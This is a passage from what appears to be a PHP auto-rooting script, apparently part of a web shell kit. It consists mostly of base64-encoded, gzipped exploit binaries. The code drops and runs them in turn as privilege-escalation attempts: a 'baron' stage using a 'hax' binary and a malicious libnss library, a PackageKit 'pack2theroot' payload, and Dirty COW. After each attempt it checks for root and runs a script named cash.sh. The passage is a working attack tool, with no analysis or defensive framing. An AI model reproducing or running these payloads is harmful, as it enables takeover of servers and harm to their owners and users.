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'); $hl=pl('libnss.so','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'); if($hb && $hl){ @copy($hb,$BR.'/hax'); @chmod($BR.'/hax',0755); @copy($hl,$BR.'/libnss_X/P0P_SH3LLZ_ .so.2'); @chmod($BR.'/libnss_X/P0P_SH3LLZ_ .so.2',0755); xrun('cd '.shq($BR).' && printf '.shq("sh ".$W."/cash.sh\nexit\n").' | ./hax 2>&1', 120); } step('baron','try'); if(rooted()) exit; } } /* ---- 6: PackageKit ---- */ if ($PKGSVC && en('proc_open')) { $pe=pl('pack2','H4sIAAAAAAACCu1bfXQU13W/u4tgJWAlMLIF/mDqrKgA70iLJQXLFtauPhjhFahI4CQEj/djdjWwX5mZBclJY1GCDxt5U5y4PnZO2kPd1uG4aQ6nTR3HbclS/H3SHOzT1E6aHhRiu7O1jTFObbBB07w370lvBg2kPT3NH9XjoLv39+697743772ZN3Pv/b2RPrfLBbR4YAMgbnKZyXcRvHz7tAh0wXrwQReshJtgPgDMY+TstM5jpd7pdky9hwlupzeAlboYOg+cy8FFVgp1M3pVDG+n+xZYKauH2+MIbqNPz7NSVg+NzdGAyR/ttNIm0k/BY9VzE70y0St3WikWYCgdz3nk/yCxZ6d29+16eSJnp36w0nk2vUdJhZ3a26N6Q29qif+Jn4NEb/Jmk7fTVrBS2t7vvakl5sNvXui02Erac7p+g24rdTHt1pG5tnHzNnCPQ3merX4Zmf+o/oPFd9zQdyD5y90/uXfTHw23Drwyvn1dc1qOtbc2pxOBtJwtjAZG17cH2lt5Ncevw3o3MfMLXPsAXHXum5gxOyn9OLP6xgdvuO3cxA1O/TwNAEtnwYdds+M/dZA/6IC7GH/YcsZB/gMH/JID3ufg5zUO+HIHvMoB/wuHdlc5yNc59PcWB/y4g33dqb8O+C4Hf8Yc5L/gID/kgLc64DEH++ed5pUDzjnYX+SA73AB3DwLHnABLIEVoHdZ940IwSdtOIhiKpPLiqoWVTRRBLF/eEBMSIqUklVNUoYHutO5rDQcjaUls27WmpS4J6rI0awmpiSN4bLSXkiJiVhBFeO5bFaKa3IuK8aj6TSkRISmJE1Ux7LxWaSS6YI64lSJTNA62pg2lpfE+IgU3y0lRFCzeUXOakmIj2RyCVDTkpSHfEFTQRqVNVC1qIbY+EhUgUI2LWd3QxI3CclcXsqCOqZqUgYyuxOyAilJy8sJULVErqCBKKblWJwMWSYqZ0EaleJpVC0pCiRJw6IYH42KSTkbTcv3SZCMp3OqBMm9iqxJkJZjKTkXWMe3oP2sBfNpOWYB4uhXO2yM9Ie7xXX8rbfO/Gyd/rmObzNvg+ifC1zkl3saMVHX9G+EesAF8yyyLvDAY66Zff9vHnpkPtql/4xg38O8B75L+MIKuRq1+gOX9X5A51W5njwP2PBxgp+0zUPKl+806Xz6nELKiwxey+AnGbyOwV9n8JsYfJLBG1ictF9l26d0Bl/JLjSCL2Duabg/DO5m90UG9zB4A4Ozz3Mcg7P37SYGX8DgLQzuZfD1DF7Nus/gNQwuMPhCBh9k8EUM/hkGX8zg9zK4j8FHGHwJg+cZnN3vRhn8GgYfZ/Bl7H2YwesZ/BCDX8vgjzL4dQx+mMGXM/gRBl/B4EcZ/HoGf5rB2YeQMoPfCHNlrsyV32YR9r/jFSaq/rYZQDhQ1tzGSWH/s94T0/VG28vNAEbjj5oBald2gdGI+BFUVZk0DMNo/EfEo1tB5STmn0E8ugVUypj/a8Sjrb9yFPNPIh5t+ZXDmH8c8eg2UzmE+W8iHm39lXHMfx3xaLuo5DH/VcSjrb5yL+b/APFoi68MYv4+xKOtvdKFeQXxaEuvtGB+F+LRVl7hMB9DPNrCK3WY/xzi0dZdAcxvRTy69VbOTiF+E+LrcP8xH0b8Etx/zHcgfinuP+bXIf4a3H/Mr0H8Mtx/zN+M+Hrcf8yvQPy1uP+YX4r463D/MV+D+Abcf7OeB0geotcrdHdoe2hbaDhSajzqA9g2JOx750UPgPDCPHwyj5T+3l/G9Hv+sgtAf3vKMIRS58VagOIJfeeUYRR/KpTqB3wAwfIxdI+PFA29keIbWfwjofQtf9kNoFdNGUak+AuMC8VTQqk+jAX1dy4ZRvBVodS2xWda2oGcKf5MKLX1YeQjvd8DEPxQKJ7+IZpF+pPIoQPl2q8scgMIpc5OH1J4Uyie0LegKjRhi6d6gy9tE0qBdmSjVHWjD2AXCMWKUKrfgOXP7DJ2waB+6RLSeLZFKL6AbZ5E/pWG/V6h1LbJ9HAFMjqh+b3BslDq7MAGA521ADp3CQ/Nklrk55f8dcILPX787BQpan4OcU34UanpkmFESvWLfabtumA5UnztGJriemDKMHZBpFhBHkF/8XikVPXOYjxGuwC5uAuEiWH/ev0N4mjww2A5Uqo/vti0xUWKr+n6pcuNfJsa+Yc70CmQsfRNaulVNKinIqW0v0UvXETX5y2h1PnFxbjXPRcN4+3fTR76IY/cfOAiGoPO124BwPrmlTh70TD2v+vS4pHimUjx3/XBS4ZRPHGgXHj5wx5/v1c7YVq8zRzHc5+gJgz9PtzUR7py0TCCLwml+lW4xUjxLWTjFtTSvmfRlCy+vmNn6POhnaF7QuIJNM4+AP3nxEorsYLk/w558/ZLwsQ8v1DqXLEIQJjIe4Nl/f5PDOPtXxA8NoOnEP5S7coegOC7/cVX7hGKp4X9b5wdHO4NlpFPnT+5aBhG/ak1AL9K8rUrv4LXDtrfhFLn8bVo7KueQeS281q9MFH1J2vM7bHamKxdOY5kTxD6a78fwvJtX0Vk9ZRQPCscP3OncPy8R3A9L7wypS0TJqokYsBrTCaxX1T/g9qbPh7vlNaio8XabcL+zvAawPNdWyRMdPJrAfTlFw1DTxiG8XxV51oA185f61r0K3sNwyB86G6h+D6aQp39NQCh7f3FD/GiRHtCf/GfhVK9r4ZsCw3VyO+0v04ofsnvjZS+46/Dq/c9tKrR+1q9+WPDOPauCerKJ4YhFCvH0ON9BAnVv1qNL3w1lYoU39Mj+PpVhOIpLCiU6p8ypX55AamfihSn9PUfI5lzQqnNtxDZPiEUXwiW9Vc+xhK49SoA/aGPDWPgwBvaYASv6y9W4xmPNh+043zjAjIyJRRP6ToyXWpLViMXTgvFF/qLzwXL+j7czHt6/0wvTul3ILWJHr8XmzJ3jNdrAI6hU4i+wXRSf+KCYRwoF24VcE+EUn1rtbntIaHlRGjfBTyV0TCyE3li8cHVAM+gh+FjLnOG/MwLoJ++QNeV9wLZxix32rkyV+bKXJkrc2WuzJX/m4LehTdrmXxzrCCnE2KjCo1qc09vuD+0Gf2K57KakkvDXsTkc6omZ1UNPvU7zTE526yO1DSqNbAjsJPL7M7vTnVwifzuVCAhxbhkVE5LiRpQMlxASXKNqtlIopDJjAUaE3xCiplIPjqWzkUTFoxXC3JCjEXVEUDNRdNpLpDhWj/d1sbhdlENMpnfHcAG0Q9iBzvTEwgXVK5XUTo45F9TbjV0K1JUk4aVaFaN4i8pkFNSfFKRpISk7tZyeX4wGt8dTUl3yRo055RUM1PXzNQh+8TYKOklaWVVbjXsWLuTGx7t7yGQdk9UXQ39Zh/65LSkwo41O7nBXDotZ1NcMqdwjSrX1N6iruZ5vgYCeSBNYQPbJUWVc9kOLsi31ISU+IisSXGtoEgdXDSdrhmIylktKmclpYMbzHXX9EhqXJHzGlZBALq+01ckEENtNarcBq45Ie1pzhbSaW7dhlVB8l1tzU6ue3tvYF3LuvZAa7C9LcidHn+Ym+k5Fxns5Zq2Skk5KyVWY/mt0bicTXVwQ/0D2yKh4V4usIHb2huK8Dx/heHl2asANWjIhrZ1d/cODXVwQ9v6ezh8eaMaHkKoQQPeO5pP52SNjDfP3S1nE7m9XEZWVSnB5RTO/GjFZXMat6eQzkoK+jrH4/l9vef2VvIdo+tdw0CHpMkzhnEEAM6eMQx05IFzhjGI+HOGUSbrgr5bd923FVyjda7rFy3wHnItqFtG3mcfed8w2O+Qs8ubcRNI/ul3DOMwastX1+dr2FS7cK93HO5ccfuaW/03U/0e9D3jjGGw3zEiAPB59P3jnGEcQfphX90fujf7Gr7m2eTjSvPCvqYHq+7ytTwwP+Rbv3/BRt/JpZ6Nrhrf+pCvJeRrCvu4sK8h7KsL+7wh9BLsMAB8B30netcwFnqovTCyF562JzD2xr3uf/Id9G70HfIO+h71bvEd9oZ9R7wh31FvP6r8su+gV/Ad8m7xPeoNk8qw76h3s2/c+zmmbqOtzv2nNb713bM7ycRRuEicBJDvR+65LXuuzJW5MlfmylyZK//PCo0vovFENAZn1GXlD9r4x8iP6RgWEjREY1dGSRAIjfmgcU00poM+k9LYDxrfdIOt/j+njBzWJ8E+NJbpPAnmoTE9k6SexuA8R/yjsTc0Rqne1n8aQ6STeCb6PPgZt/U5nMYI0diWlhor3lVt9fssodW29j8xzP5Q0SnKE0GD8HSczxL+GDF8gfCe3/a86ZwdbyfzoI/Q7YQmCd1D6AOEPkLoE4Q+RejzhP4LoW8R+iGh80nQ07WEriK0ndA+QrcTmiR0D6EPEPoIoU8Q+tQSa39oPN3G7u4OrqlHisnRLBds5dfxLYHgbavJzyu9D0Fnj/cNO16N6665LL79Ggf56xzwm/Gc9UGdbWL7Cd5lwz9N8HEbPoD9WQFnu6zr/LP4d/30+qRlnNgp2+w8iOWXTa/3q/n/l1h+KTzsv3zsZpP/Af67ZDpOn5YfYTsN0+uYltMYv/ay+drlRmO+HF7ssuJvO8QVN3j+e/HkPW6E+6bzXqi7Sx3ikJtdpvxJMp5HyAVoc80e793jYGebA55EuLt2el+mJe0gP+6Af90B/3MH/PsO+MsO+FsO+AWHcah3o9lQN11JYz/97tnlN7jRrery636Xe/Z24+7Z48O/7CB/CPnjXg6v2+x/y0H+SSJ/0ib/feznTJw5LScIft6Gv+hg/18d8P9wzx7HfslBHn2/R+Nm79d1DutirQMuOOCiA55zwH/fM3t8/iEH+cc9ZH2R/X0huYF+G+HuhdagZwD4Kwc7MBRXtCCfA1GMxmRRi6bgC3wc4oqmaoVkko/DTNC/qGXEOAruV0EUEzkxlc7FomkxoeUUVYwWRiGey+TTkiYl+JbZJVDUuyxGFSU6JkpZTRmDpBLNSKL5mloUGU6Us7JmERXFvq2hgV6xd3MPSkgQN27eJvYKBBR6toK4MbIlHIqIW/r6hnqHxeFQONIrgtjz2c2hgf5uM+C/i42Pp7kAFvCKGQf4Pb49NwJlD1hMoEwCC4D7TdMKbKJSPG1BcJqB1U389tYCmZkJV/GbSYbAeQpWl66Y0LFFVLWEnBULqpS4Qn6HKCaiWtQcCMeMC2u+g7VnKPvC6pY4PNBNLrE1e0QUE2pOHIlmE7jhmKqSdkUpmyBZFLYBsWSSmFkY1qHGORfW9iXUI5qrYXPNlt7RxaRdOGSzoHSSLiZRw5oCY+aNWBrBeSVWBCWS4NVAElEstcCrYxktGgNe1RSTjtBf2Zwm8alsgc8rubykaGMMhD9nBeQE8HJWk5Q8YHQEfVPiE2NZdSxjUk0xa/aY31osjKgAr0jpKBIkv/JpDVmUNUA/+VROA16TRjXg8QrglRweXl4aIWt9JKHMcMS/ULg/gDYifmYLMPXp78RYNpqR44Dsm02aVmOqCnw8l8lIWe1/6VxwvS1nwykfE2znPFp4m75T/ujMM6K1hMizK9V3ygNmn8/Z0o/OGIaRo/r03EkpfdSvcvB/iJw53bZzKaUNnplzq4vRp+fDHbbvEvScS+lzriv7HydnSKpPz42Uhm3+29J/IU/OpG6wHWAJpbd/u/+03E+uidt2Lqb0rMP40f4XiX7Yds6mlJ7Lq4iOXf8bbC4rXJ6Xfd1V5s/XbPpcnZUetg24Pf37MZt+eYmVeh3mP6WP2/Tp8wqlR6pmb5+WIzZ9+rxPafVV+v9d2/qxJ1D/m/vK6/cpm75TXrVT+8/a9Bs+ZaXjriu3/2Pb/uGUR+7U/s9JnpXH9t6K5m1f7frpJK/OY3uv9fRvqP8rcu08tvcsNH+fdmy+TY/Ogz8m4zetT87D5WaTNl2l/Us2fXqe1on+5FX057us+vSc9WLL7PPVPh4oT9fL6NPzyest1nVun560LCHt21/JUP2VDvs/S2f7Jnye6Otk/d1Izv32/afa4d3cZDu5Dp4r799LHPQPd5D3pVfZ//8LvM+B2oBDAAA='); if($pe){ out('pack2theroot','try'); xrun('cd /tmp && '.shq($pe).' 2>&1', 90); step('pack2','try'); if(rooted()) exit; } } /* ---- 7: Dirty COW ---- */ if (vlt($V,'4.8.3') && en('proc_open')) { $dc=plac('dirtycow','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